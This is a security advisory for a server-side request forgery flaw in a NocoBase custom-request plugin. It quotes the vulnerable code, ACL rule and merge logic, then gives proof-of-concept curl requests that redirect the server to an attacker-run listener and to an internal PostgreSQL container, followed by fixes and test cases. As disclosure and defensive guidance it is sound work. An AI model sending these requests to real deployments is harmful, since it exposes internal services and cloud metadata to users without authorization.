A Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the @nocobase/plugin-action-custom-request plugin.
A low-privileged authenticated user can call the customRequests:send endpoint and override the stored request URL at runtime using options.url. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.
@nocobase/plugin-action-custom-requestTesting was performed only in a local Docker lab environment at http://127.0.0.1:13000. No public NocoBase instance was tested.
Lab environment:
nocobase/nocobase:latest-full23e2bd35625439594e4757bac31d57c9e8e695b9nocobase-lab, nocobase-postgres172.19.0.0/16SERVER_REQUEST_WHITELIST was not setThe vulnerable endpoint is:
POST /api/customRequests:send?filterByTk=<key>
The customRequests:send action is allowed for any logged-in user:
// plugin-action-custom-request/src/server/plugin.ts
this.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');
The request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:
// plugin-action-custom-request/src/server/actions/send.ts
const mergedOptions = {
...(requestConfig.options || {}),
...omitNullAndUndefined(runtimeOptions || {}),
};
const { url, ...options } = mergedOptions;
The URL is therefore attacker-controlled when the low-privileged user sends a request body such as:
{
"options": {
"url": "http://attacker-controlled-host:18080/ssrf-proof",
"method": "GET"
}
}
If SERVER_REQUEST_WHITELIST is not configured, the server-side request whitelist check is bypassed:
// packages/core/utils/src/server-request.ts
const whitelist = process.env.SERVER_REQUEST_WHITELIST;
if (!whitelist || !whitelist.trim()) return;
As a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.
First, an administrator creates a valid Custom Request config. This is a setup step only.
BASE="http://127.0.0.1:13000"
curl -i -s -X POST "$BASE/api/customRequests:create" \
-H "Authorization: Bearer <ADMIN_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"key": "report-ssrf-demo",
"options": {
"url": "https://www.example.com/",
"method": "GET"
}
}'
Expected result:
HTTP/1.1 200 OK
If the key already exists, this setup step can be skipped.
Evidence:
On the attacker-controlled host in the local lab:
mkdir -p /tmp/ssrf-poc
cd /tmp/ssrf-poc
echo "SSRF OK - request came from NocoBase server" > ssrf-proof
python3 -m http.server 18080 --bind 0.0.0.0
Example attacker host IP in the local lab:
192.168.1.139
Evidence:
The low-privileged user calls customRequests:send and overrides options.url at runtime:
BASE="http://127.0.0.1:13000"
KALI_IP="192.168.1.139"
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data "{
\"options\": {
\"url\": \"http://$KALI_IP:18080/ssrf-proof\",
\"method\": \"GET\"
}
}"
Expected response:
HTTP/1.1 200 OK
SSRF OK - request came from NocoBase server
Evidence:
The attacker-controlled HTTP listener receives:
GET /ssrf-proof HTTP/1.1
This proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.
Evidence:
The same low-privileged user can target an internal Docker service:
curl -i -s -X POST "$BASE/api/customRequests:send?filterByTk=report-ssrf-demo" \
-H "Authorization: Bearer <LOWPRIV_TOKEN>" \
-H "Content-Type: application/json" \
--data '{
"options": {
"url": "http://nocobase-postgres:5432/",
"method": "GET"
}
}'
Observed response:
{"message":"socket hang up"}
This indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.
A low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.
Potential impact includes:
Confirmed in the local lab:
nocobase-postgres:5432 was reachableThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.
customRequests:send to administrators or specifically authorized roles.- this.app.acl.allow('customRequests', ['send'], 'loggedIn');
+ this.app.acl.allow('customRequests', ['send'], 'admin');
Do not allow low-privileged users to override stored request URLs at runtime.
Require SERVER_REQUEST_WHITELIST by default in production Docker images.
Block private/internal IP ranges by default, including:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16
::1/128
fc00::/7
Resolve DNS and validate the final resolved IP address before making the outbound request.
Revalidate the target after redirects.
Add SSRF regression tests for:
localhost
127.0.0.1
Docker service names
private IP ranges
Docker gateway IP
169.254.169.254
redirects to private IP ranges
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-10T19:20:14Z",
"nvd_published_at": "2026-11-10T18:17:48Z",
"severity": "MODERATE"
}